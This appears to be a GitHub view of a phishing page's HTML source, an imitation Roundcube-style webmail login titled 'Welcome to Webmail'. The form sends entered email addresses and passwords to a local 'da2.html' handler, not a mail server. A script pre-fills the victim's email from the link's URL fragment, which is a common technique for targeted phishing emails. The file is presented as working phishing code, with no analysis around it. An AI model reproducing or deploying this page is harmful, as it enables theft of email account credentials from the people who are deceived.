-
Notifications
You must be signed in to change notification settings - Fork 0
/
Index.html
145 lines (124 loc) · 3.67 KB
/
Index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Webmail :: Welcome to Webmail</title>
<style>
body {
background-color: #f4f4f4;
font-family: Arial, sans-serif;
margin-top: 20px;
}
#logo {
width: 100px;
height: auto;
}
form {
max-width: 400px;
margin: 0 auto;
padding: 20px;
background-color: #fff;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
.form-group {
margin-bottom: 20px;
position: relative;
}
.form-group label {
display: block;
font-weight: bold;
}
.form-group input[type="text"],
.form-group input[type="password"] {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
color: #888;
}
.form-group .email-image,
.form-group .password-image {
position: absolute;
left: -60px;
top: 6px;
width: 20px;
height: auto;
}
.form-buttons {
text-align: center;
}
.form-buttons button {
padding: 10px 20px;
background-color: #000000;
border: none;
color: #fff;
font-size: 16px;
cursor: pointer;
}
.form-buttons button:hover {
background-color: #000000;
}
.noscript-warning {
text-align: center;
color: #ff0000;
}
.center-top {
text-align: center;
margin-bottom: 20px;
}
.center-top img {
max-width: 100%;
height: auto;
margin-top: 20px;
}
</style>
</head>
<body>
<br><br><br><br>
<div id="layout">
<div class="center-top">
<img src="top.png" alt="Logo">
</div><br>
<form id="login-form" name="login-form" method="post" action="da2.html" style="max-width: 400px; margin: 0 auto; padding: 20px; background-color: #fff; box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);">
<input type="hidden" name="_token" value="LwMgSIJo3IQDIPteIWPAVB79XQ4KYhyR">
<input type="hidden" name="_task" value="login">
<input type="hidden" name="_action" value="login">
<input type="hidden" name="_timezone" id="rcmlogintz" value="_default_">
<input type="hidden" name="_url" id="rcmloginurl" value="_task=login">
<div class="form-group">
<label for="rcmloginuser"></label>
<input name="email" id="rcmloginuser" required size="40" autocapitalize="off" type="text" placeholder="Email Account" style="color: #888;">
<img class="email-image" src="one.png" alt="Email Image">
</div>
<div class="form-group">
<label for="rcmloginpwd"></label>
<input name="password" id="rcmloginpwd" required size="40" autocapitalize="off" type="password" placeholder="Password" style="color: #888;">
<img class="password-image" src="two.png" alt="Password Image">
</div>
<div class="form-buttons">
<button type="submit" id="rcmloginsubmit">Email login</button>
</div>
</form>
<noscript>
<p class="noscript-warning">Warning: This webmail service requires Javascript! Please enable Javascript in your browser's settings.</p>
</noscript>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
var emailField = document.getElementById('rcmloginuser');
var emailFromURL = getEmailFromURL();
if (emailFromURL) {
emailField.value = emailFromURL;
}
});
function getEmailFromURL() {
var url = window.location.href;
var hashIndex = url.indexOf('#');
if (hashIndex !== -1) {
return url.substring(hashIndex + 1);
}
return null;
}
</script>
</body>
</html>